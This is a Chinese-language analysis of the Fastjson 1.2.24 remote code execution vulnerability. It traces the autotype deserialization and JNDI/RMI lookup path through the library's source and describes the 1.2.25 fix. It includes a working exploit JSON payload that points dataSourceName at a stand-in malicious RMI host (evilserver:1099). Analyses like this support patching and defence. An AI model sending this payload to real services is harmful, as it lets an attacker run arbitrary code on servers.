您好,登錄后才能下訂單哦!
這期內容當中小編將會給大家帶來有關怎樣實現Fastjson 1.2.24遠程代碼執行漏洞分析,文章內容豐富且以專業的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
漏洞名稱:Fastjson 1.2.24 Remote Code Execution (com.sun.rowset.JdbcRowSetImpl)
漏洞編號:無
漏洞類型:Remote Code Execution
CVSS評分:無
漏洞危害等級:高危
Fastjson是一個Java語言編寫的高性能功能完善的JSON庫。它采用一種“假定有序快速匹配”的算法,把JSON Parse的性能提升到極致,是目前Java語言中最快的JSON庫。Fastjson接口簡單易用,已經被廣泛使用在緩存序列化、協議交互、Web輸出、Android客戶端等多種應用場景。下圖是Fastjson組件中的反序列化流程。
漏洞是利用fastjson autotype在處理json對象的時候,未對@type字段進行完全的安全性驗證,攻擊者可以傳入危險類,并調用危險類連接遠程rmi主機,通過其中的惡意類執行代碼。攻擊者通過這種方式可以實現遠程代碼執行漏洞的利用,獲取服務器的敏感信息泄露,甚至可以利用此漏洞進一步對服務器數據進行修改,增加,刪除等操作,對服務器造成巨大的影響。
無
影響版本: Fastjson < 1.2.25
獲取Fastjson最新版本,下載鏈接:https://github.com/alibaba/fastjson
8080/HTTP
基于Windows平臺,使用環境
目錄下的fastjsondemo
環境,拷貝后使用Idea打開fastjsondemo文件夾,下載maven資源,運行DemoApplication類,即可啟動環境。效果如圖。
運行sniper
工具箱,填寫表單信息,點擊Attack,效果如圖。
JavaBean:
JavaBean 是特殊的 Java 類,使用 Java 語言書寫,并且遵守 JavaBean API 規范。JavaBean的特征:
提供一個默認的無參構造函數。
需要被序列化并且實現了 Serializable 接口。
可能有一系列可讀寫屬性。
可能有一系列的 getter 或 setter 方法。
方法 | 描述 |
---|---|
getPropertyName() | 舉例來說,如果屬性的名稱為 myName,那么這個方法的名字就要寫成 getMyName() 來讀取這個屬性。這個方法也稱為訪問器。 |
setPropertyName() | 舉例來說,如果屬性的名稱為 myName,那么這個方法的名字就要寫成 setMyName()來寫入這個屬性。這個方法也稱為寫入器。 |
程序實例
public class StudentsBean implements java.io.Serializable { private String firstName = null; private String lastName = null; private int age = 0; public StudentsBean() { } public String getFirstName(){ return firstName; } public String getLastName(){ return lastName; } public int getAge(){ return age; } public void setFirstName(String firstName){ this.firstName = firstName; } public void setLastName(String lastName){ this.lastName = lastName; } public void setAge(int age) { this.age = age; } }
首先在本地開啟惡意的rmi服務(rmi://evilserver:1099),并綁定惡意類(evilobj),惡意類中存放著可以執行任意命令的java程序。找到fastjson組件入口(一般是傳json字符串的地方),傳入{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://evilserver:1099/evilobj","autoCommit":true}
,即可完成漏洞利用。
Fastjson通過parseObject方法解析傳入的json數據。
調用DefaultJSONParser缺省方法對json格式數據進行解析。
在方法的參數中,調用ParserConfig.getGlobalInstance()
方法獲取ParserConfig類中的初始配置,其中黑名單(denyList)也在此類中進行配置。
調用addDeny方法循環添加denyList數組中的黑名單。
回到DefaultJSONParser方法,初始化結束后,調用JSONScanner方法對傳入的json字符串設置讀取位置,判斷過程中處理Unicode字符集的BOM標識。
回到DefaultJSONParser方法,為token賦值。
回到JSON入口類,獲取到DefaultJSONParser類型對象,調用parse()方法進行解析。
在parse方法中,通過判斷lexer.token(),進入對應的代碼塊。
調用JSONObject構造方法,初始化JSONObject類中的map屬性。
回到DefaultJSONParser#parse方法,調用parseObject方法,對傳入的json數據進行字節讀取。
一般會讀取json字符串中的雙引號進入scanSymbol方法中,在scanSymbol方法中計算字符串的hash。
調用addSymbol方法,將鍵名添加到SymbolTable中。
回到DefaultJSONParser#parseObject方法中,判斷key值是否為@type
。如果是,則進入if判斷條件下的代碼塊中。
調用scanSymbol方法,以雙引號作為quote變量值,進行@type
json字段值的value讀取。
獲得@type
的鍵值,調用addSymbol方法,將@type
的字段值添加到SymbolTable中。
回到DefaultJSONParser#parseObject方法中,調用TypeUtils.loadClass方法進行類加載操作。
進入loadClass方法中,首先會在現有的mappings中尋找從@type
傳入的classname。
如果在原有的mappings中沒有記錄傳入的classname,則調用contextClassLoader.loadClass獲取AppClassLoader類加載器,并加載到mappings中與@type
傳入的類進行關聯,最后返回clazz對象。
回到DefaultJSONParser#parseObject方法中,調用this.config.getDeserializer(clazz)獲取反序列化器。
進入getDeserializer方法中,首先現有的IdentityHashMap中進行hash匹配,如果無法匹配,則進入第二個if判斷條件中重載getDeserializer方法,繼續獲取反序列化器。
在getDeserializer(Class<?> clazz, Type type)
方法中,首先依然會與現有的IdentityHashMap中進行hash匹配。如果無法匹配,會事先進行黑名單匹配,在調用ServiceLoader.load判斷META-INF/services/下是否存在傳入的classname類。
如果沒有尋找到對應的類,則判斷傳入的classname是否是繼承java.lang.Enum、是否是array類型選擇對應的反序列化器生成方法。如果上述條件不滿足,則繼續判斷傳入的classname是否為Set、HashSet、Collection、List、ArrayList,如果不是則繼續判斷classname是否繼承Collection,Map,Throwable接口。如果上述條件都不滿足,則調用createJavaBeanDeserializer方法生成JavaBean反序列化器。
進入createJavaBeanDeserializer方法,判斷asmEnable是否為true,調用JavaBeanInfo.build方法建立JavaBean。
建立JavaBean過程中,通過反射機制獲取傳入的class中所有的屬性,方法,并保存在數組中。選擇一個無參構造函數作為默認的構造函數。
循環遍歷method數組中的方法,并從中選取符合條件的方法。(條件:同時滿足方法名長度大于4;非靜態方法;方法類型為Void。或者方法類型與方法所在類相同)
再從篩選的規則中繼續篩選出形參數量為1的方法。
再從篩選出的方法中獲取以set方法開頭的方法,并檢測JavaBean的方法命名規范,篩選出符合規范的方法。調用TypeUtils.getField方法獲取與set方法對應的屬性值。
進入getField方法中,遍歷@type傳入的class以及其父類的所有屬性值,返回尋找到屬性。
最終調用add方法,將獲取的Field屬性保存到fieldList列表中。
再以相同的流程篩選出存在get方法的屬性值,如果篩選出的filed屬性值不在fieldList,則添加到fieldList列表中。
調用JavaBeanInfo方法對JavaBeanInfo中的屬性進行初始化,并返回實例化對象。
回到ParserConfig#createJavaBeanDeserializer方法中,獲取到beanInfo對象,并從beaninfo中取出defaultConstructor默認構造器、field屬性。
通過檢測fieldClass屬性值,為asmEnable標志位賦值
根據asmEnable標志位,進行if條件判斷,調用JavaBeanInfo.build方法,并返回beanInfo對象。再調用ASMDeserializerFactory#createJavaBeanDeserializer方法生成反序列化器。
進入ASMDeserializerFactory#createJavaBeanDeserializer方法中,通過ASM生成class文件的字節流,調用newInstance方法進行實例化,返回實例化對象。
在實例化過程中,會將beaninfo中的屬性賦值給JavaBeanDeserializer類中的filed反序列化器。
回到ParserConfig#getDeserializer方法,調用putDeserializer方法,將生成的反序列化器與@type傳入的class類進行關聯,最后返回反序列化器
回到DefaultJSONParser#parseObject方法,調用deserializer.deserialze方法進行反序列化。
反序列化過程中,調用JSONScanner類中與field類型對應的方法,從傳入的json字符串中找到屬性的value值。(例如下圖中,使用scanFieldString方法處理String類型方法)
調用charArrayCompare判斷傳入的json字符串中,是否存在選中的field的value。如果存在,則通過閉合的雙引號定位傳入參數長度,并提取鍵值對中的value。通過判斷雙引號之后的符號,判斷當前json解析狀態(返回不同的token值)
再調用JavaBeanDeserializer#parseRest方法,通過token值進入對應的代碼塊,從生成的sortedFieldDeserializers反序列化器中取出field反序列化器,并從取出屬性值
與上述反序列化流程中第一次取屬性值流程相同,根據屬性類型,選擇對應的方法進行解析。
調用setValue方法將json中傳入的屬性值,傳入到class實例化對象中,為其內部屬性賦值。
在賦值過程中會通過反射,調用屬性值對應的set方法
進入connect方法中調用lookup方法,形參中的getDataSourceName()方法會獲取之前已經從json解析并賦值的dataSource屬性,獲取惡意rmi服務。
進入InitialContext.lookup()方法解析之后的流程,就是JNDI注入攻擊流程。
先進入getURLOrDefaultInitCtx方法進行獲取上下文,根據傳入的url協議,獲取對應的上下文對象。
實例化RegistryContext對象,調用getRegistry方法獲取遠程注冊中心的綁定對象。
在獲取遠程對象的過程中,調用TCPEndpoint()方法,為LiveRef內部ed屬性賦予遠程終端ip及端口信息。調用UnicastRef,獲取RemoteRef類型的遠程對象。
進入createProxy方法獲取并返回RegistryImpl stub。
回到com.sun.jndi.rmi.registry.RegistryContext,將RegistryImpl_Stub對象賦予給registry屬性。
回到GenericURLContext#lookup方法中,調用Registry.lookup方法。
在lookup方法中調用registry.lookup()方法,由于之前已經將RegistryImpl_Stub賦值給registry,直接進入RegistryImpl_Stub.lookup()方法中。
在RegistryImpl_Stub#lookup方法中,調用ref.newCall方法獲取基于ref的RemoteCall類型的遠程調用對象。并將訪問遠程rmi服務上的類名進行序列化,調用invoke方法傳給遠程服務。
之后將從遠程獲取的序列化數據進行反序列化,執行惡意序列化中的惡意命令。
Fastjson1.2.25版本新增了checkAutoType方法,設置了autotype開關,對@type字段進行限制。如果autotype開關關閉,則無法從@type字段傳入類進行jndi攻擊。
增加了黑名單中的類,對fastjson的gadget進行攔截。
上述就是小編為大家分享的怎樣實現Fastjson 1.2.24遠程代碼執行漏洞分析了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。